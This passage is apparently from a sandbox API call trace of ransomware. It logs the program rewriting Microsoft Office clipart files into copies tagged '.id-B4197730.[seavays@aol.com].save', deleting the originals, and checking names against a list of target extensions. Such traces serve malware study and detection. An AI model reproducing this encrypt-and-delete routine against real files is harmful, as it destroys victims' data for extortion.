office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0164.906] GetLastError () returned 0x0 [0164.906] ReadFile (in: hFile=0x4a4, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x84b7, lpOverlapped=0x0) returned 1 [0164.909] WriteFile (in: hFile=0x4b4, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x84c0, lpOverlapped=0x0) returned 1 [0164.911] ReadFile (in: hFile=0x4a4, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0164.911] WriteFile (in: hFile=0x4b4, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0164.911] SetEndOfFile (hFile=0x4b4) returned 1 [0164.912] CloseHandle (hObject=0x4b4) returned 1 [0164.912] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0164.912] SetEndOfFile (hFile=0x4a4) returned 1 [0164.915] CloseHandle (hObject=0x4a4) returned 1 [0164.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0164.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 1 [0164.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0164.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0164.921] lstrlenW (lpString=".doc") returned 4 [0164.921] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0164.921] lstrlenW (lpString=".docx") returned 5 [0164.921] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0164.921] lstrlenW (lpString=".pdf") returned 4 [0164.921] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0164.921] lstrlenW (lpString=".xls") returned 4 [0164.921] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0164.921] lstrlenW (lpString=".xlsx") returned 5 [0164.921] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0164.921] lstrlenW (lpString=".ppt") returned 4 [0164.921] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0164.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0164.921] lstrlenW (lpString=".zip") returned 4 [0164.921] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0164.921] lstrlenW (lpString=".rar") returned 4 [0164.921] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0164.921] lstrlenW (lpString=".bz2") returned 4 [0164.921] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0164.921] lstrlenW (lpString=".7z") returned 3 [0164.921] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0164.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0164.921] lstrlenW (lpString=".dbf") returned 4 [0164.921] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0164.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0164.921] lstrlenW (lpString=".1cd") returned 4 [0164.921] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0164.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0164.921] lstrlenW (lpString=".jpg") returned 4 [0164.922] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0164.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0164.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0164.922] lstrlenW (lpString=".doc") returned 4 [0164.922] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0164.922] lstrlenW (lpString=".docx") returned 5 [0164.922] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0164.922] lstrlenW (lpString=".pdf") returned 4 [0164.922] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0164.922] lstrlenW (lpString=".xls") returned 4 [0164.922] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0164.922] lstrlenW (lpString=".xlsx") returned 5 [0164.922] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0164.922] lstrlenW (lpString=".ppt") returned 4 [0164.922] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0164.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0164.922] lstrlenW (lpString=".zip") returned 4 [0164.922] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0164.922] lstrlenW (lpString=".rar") returned 4 [0164.922] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0164.922] lstrlenW (lpString=".bz2") returned 4 [0164.922] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0164.922] lstrlenW (lpString=".7z") returned 3 [0164.922] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0164.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0164.922] lstrlenW (lpString=".dbf") returned 4 [0164.922] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0164.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0164.923] lstrlenW (lpString=".1cd") returned 4 [0164.923] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0164.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0164.923] lstrlenW (lpString=".jpg") returned 4 [0164.923] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0164.923] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0164.923] lstrlenW (lpString="J0101859.BMP") returned 12 [0164.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0164.924] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=31968) returned 1 [0164.924] CloseHandle (hObject=0x4a4) returned 1 [0164.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 0x220 [0164.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0164.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0164.925] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0164.925] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0164.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0164.927] GetLastError () returned 0x0 [0164.927] ReadFile (in: hFile=0x4a4, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0164.929] WriteFile (in: hFile=0x4a8, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0164.931] ReadFile (in: hFile=0x4a4, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0164.931] WriteFile (in: hFile=0x4a8, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0164.932] SetEndOfFile (hFile=0x4a8) returned 1 [0164.932] CloseHandle (hObject=0x4a8) returned 1 [0164.932] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0164.932] SetEndOfFile (hFile=0x4a4) returned 1 [0164.947] CloseHandle (hObject=0x4a4) returned 1 [0164.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0164.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 1 [0164.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0164.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0164.949] lstrlenW (lpString=".doc") returned 4 [0164.949] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0164.949] lstrlenW (lpString=".docx") returned 5 [0164.949] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0164.949] lstrlenW (lpString=".pdf") returned 4 [0164.949] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0164.949] lstrlenW (lpString=".xls") returned 4 [0164.949] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0164.949] lstrlenW (lpString=".xlsx") returned 5 [0164.949] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0165.246] lstrlenW (lpString=".ppt") returned 4 [0165.246] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.246] lstrlenW (lpString=".zip") returned 4 [0165.246] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.247] lstrlenW (lpString=".rar") returned 4 [0165.247] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.247] lstrlenW (lpString=".bz2") returned 4 [0165.247] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.247] lstrlenW (lpString=".7z") returned 3 [0165.247] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.247] lstrlenW (lpString=".dbf") returned 4 [0165.247] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.247] lstrlenW (lpString=".1cd") returned 4 [0165.247] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.247] lstrlenW (lpString=".jpg") returned 4 [0165.247] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.247] lstrlenW (lpString=".doc") returned 4 [0165.247] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.247] lstrlenW (lpString=".docx") returned 5 [0165.247] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0165.247] lstrlenW (lpString=".pdf") returned 4 [0165.247] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.247] lstrlenW (lpString=".xls") returned 4 [0165.247] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.247] lstrlenW (lpString=".xlsx") returned 5 [0165.248] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0165.248] lstrlenW (lpString=".ppt") returned 4 [0165.248] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.248] lstrlenW (lpString=".zip") returned 4 [0165.248] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.248] lstrlenW (lpString=".rar") returned 4 [0165.248] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.248] lstrlenW (lpString=".bz2") returned 4 [0165.248] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.248] lstrlenW (lpString=".7z") returned 3 [0165.248] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.248] lstrlenW (lpString=".dbf") returned 4 [0165.248] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.248] lstrlenW (lpString=".1cd") returned 4 [0165.248] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.248] lstrlenW (lpString=".jpg") returned 4 [0165.248] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.248] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0165.249] lstrlenW (lpString="J0101864.BMP") returned 12 [0165.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0166.601] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=31968) returned 1 [0166.601] CloseHandle (hObject=0x4b0) returned 1 [0166.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 0x220 [0166.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0167.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0167.808] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0167.808] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0167.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0167.809] GetLastError () returned 0x0 [0167.809] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0167.812] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0167.813] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0167.813] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0167.813] SetEndOfFile (hFile=0x51c) returned 1 [0167.813] CloseHandle (hObject=0x51c) returned 1 [0167.813] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0167.813] SetEndOfFile (hFile=0x518) returned 1 [0167.817] CloseHandle (hObject=0x518) returned 1 [0167.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0167.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 1 [0167.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0167.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0167.818] lstrlenW (lpString=".doc") returned 4 [0167.818] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0167.818] lstrlenW (lpString=".docx") returned 5 [0167.818] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0167.818] lstrlenW (lpString=".pdf") returned 4 [0167.818] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0167.818] lstrlenW (lpString=".xls") returned 4 [0167.818] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0167.818] lstrlenW (lpString=".xlsx") returned 5 [0167.818] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0167.818] lstrlenW (lpString=".ppt") returned 4 [0167.818] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0167.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0167.818] lstrlenW (lpString=".zip") returned 4 [0167.818] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0167.818] lstrlenW (lpString=".rar") returned 4 [0167.818] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0167.819] lstrlenW (lpString=".bz2") returned 4 [0167.819] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0167.819] lstrlenW (lpString=".7z") returned 3 [0167.819] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0167.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0167.819] lstrlenW (lpString=".dbf") returned 4 [0167.819] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0167.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0167.819] lstrlenW (lpString=".1cd") returned 4 [0167.819] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0167.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0167.819] lstrlenW (lpString=".jpg") returned 4 [0167.819] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0167.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0167.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0167.819] lstrlenW (lpString=".doc") returned 4 [0167.819] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0167.819] lstrlenW (lpString=".docx") returned 5 [0167.819] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0167.819] lstrlenW (lpString=".pdf") returned 4 [0167.819] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0167.819] lstrlenW (lpString=".xls") returned 4 [0167.819] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0167.819] lstrlenW (lpString=".xlsx") returned 5 [0167.819] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0167.819] lstrlenW (lpString=".ppt") returned 4 [0167.819] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0167.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0167.819] lstrlenW (lpString=".zip") returned 4 [0167.820] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0167.820] lstrlenW (lpString=".rar") returned 4 [0167.820] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0167.820] lstrlenW (lpString=".bz2") returned 4 [0167.820] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0167.820] lstrlenW (lpString=".7z") returned 3 [0167.820] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0167.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0167.820] lstrlenW (lpString=".dbf") returned 4 [0167.820] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0167.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0167.820] lstrlenW (lpString=".1cd") returned 4 [0167.820] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0167.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0167.820] lstrlenW (lpString=".jpg") returned 4 [0167.820] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0167.820] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0167.820] lstrlenW (lpString="J0103850.WMF") returned 12 [0167.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0167.822] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=23596) returned 1 [0167.822] CloseHandle (hObject=0x518) returned 1 [0167.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 0x220 [0167.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0167.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0167.822] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0167.822] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0167.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0167.823] GetLastError () returned 0x0 [0167.823] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x5c2c, lpOverlapped=0x0) returned 1 [0167.825] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: 